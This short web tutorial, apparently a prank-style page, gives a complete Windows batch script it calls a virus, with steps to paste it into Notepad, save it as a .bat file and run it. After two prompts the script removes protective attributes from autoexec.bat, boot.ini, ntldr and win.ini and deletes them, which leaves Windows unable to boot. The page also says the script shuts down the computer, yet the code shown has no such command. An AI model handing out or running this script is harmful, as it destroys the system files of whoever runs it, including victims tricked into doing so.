This is a kind of virus that you can easily create. Just open your notepad. Copy paste the complete code below in it:-
@echo off
echo Are you sure to get this shit?
pause
echo Are you for 100%% sure?
pause
msg * Really??? bye-bye !!!
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
Now save it as something.bat. Once you double click the bat file that you created this will shut down your computer and will delete all the files that are required to reboot your computer. Thus your windows crashes. Now you need to repair your operating system n it will be fine.